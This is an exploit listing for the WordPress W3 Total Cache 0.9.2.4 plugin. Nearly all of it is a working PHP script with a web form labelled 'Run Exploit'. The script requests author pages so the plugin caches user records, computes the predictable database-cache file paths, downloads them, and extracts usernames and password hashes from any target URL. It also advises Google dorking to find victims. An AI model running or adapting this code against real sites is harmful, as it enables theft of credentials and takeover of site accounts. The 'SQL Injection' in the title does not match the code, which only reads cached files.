Exploit for WordPress W3 Total Cache 0.9.2.4 SQL Injection / Hash Disclosure

## https://sploitus.com/exploit?id=PACKETSTORM:189603
=============================================================================================================================================
    | # Title     : WordPress W3 Total Cache 0.9.2.4 Hash disclor vulnerability                                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.WordPress.org/                                                                                                  |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: The code is an exploit for the W3 Total Cache plugin for WordPress, which searches for user data stored in the database cache and retrieves usernames and password hashes.
       
       (linked: https://packetstorm.news/files/id/180672/ Linked CVE numbers: ),
    	
    [+] save code as poc.php.
    
    [+] USage : http://127.0.0.1/poc.php 
    
    [+] PayLoad :
    
    <?php
    
    set_time_limit(300); // تحديد الحد بـ 300 ثانية
    
    class WordpressW3TCExploit {
        private $tablePrefix;
        private $siteIterations;
        private $userIterations;
        private $targetUrl;
    
        public function __construct($targetUrl, $tablePrefix = 'wp_', $siteIterations = 25, $userIterations = 25) {
            $this->tablePrefix = $tablePrefix;
            $this->siteIterations = $siteIterations;
            $this->userIterations = $userIterations;
            $this->targetUrl = rtrim($targetUrl, '/');
        }
    
        private function sendRequest($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            $response = curl_exec($ch);
            curl_close($ch);
            return $response;
        }
    
        private function cacheUserInfo($userId) {
            $url = $this->targetUrl . "/?author=" . $userId;
            $this->sendRequest($url);
        }
    
        private function md5Hash($string) {
            return md5($string);
        }
    
        public function run() {
            $usersFound = false;
            $results = "";
    
            for ($siteId = 1; $siteId <= $this->siteIterations; $siteId++) {
                $results .= "Trying site_id {$siteId}...<br>";
    
                for ($userId = 1; $userId <= $this->userIterations; $userId++) {
                    $results .= "Trying user_id {$userId}...<br>";
    
                    $this->cacheUserInfo($userId);
                    $query = "SELECT * FROM {$this->tablePrefix}users WHERE ID = '{$userId}'";
                    $queryMd5 = $this->md5Hash($query);
                    $key = "w3tc_" . parse_url($this->targetUrl, PHP_URL_HOST) . "_{$siteId}_sql_{$queryMd5}";
                    $keyMd5 = $this->md5Hash($key);
                    $hashPath = "{$keyMd5[0]}/{$keyMd5[1]}/{$keyMd5[2]}/{$keyMd5}";
                    $url = "{$this->targetUrl}/wp-content/w3tc/dbcache/{$hashPath}";
    
                    $result = $this->sendRequest($url);
    
                    if (!$result) {
                        $results .= "No response received<br>";
                        continue;
                    }
    
                    if (preg_match('/.*"user_login";s:\d+:"([^"]*)";s:\d+:"user_pass";s:\d+:"([^"]*)".*/', $result, $matches)) {
                        $results .= "<strong>Found:</strong> Username: {$matches[1]} | Password Hash: {$matches[2]}<br>";
                        $usersFound = true;
                    }
                }
            }
    
            if (!$usersFound) {
                $results .= "<strong>No users found :(</strong><br>";
            }
            return $results;
        }
    }
    
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $target = $_POST['target_url'];
        $exploit = new WordpressW3TCExploit($target);
        $result = $exploit->run();
    } else {
        $result = "";
    }
    ?>
    
    <!DOCTYPE html>
    <html>
    <head>
        <title>WordPress W3TC Exploit</title>
    </head>
    <body>
        <h2>WordPress W3TC Exploit</h2>
        <form method="POST">
            <label for="target_url">Target URL:</label>
            <input type="text" name="target_url" required>
            <button type="submit">Run Exploit</button>
        </form>
        <h3>Results:</h3>
        <div><?php echo $result; ?></div>
    </body>
    </html>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================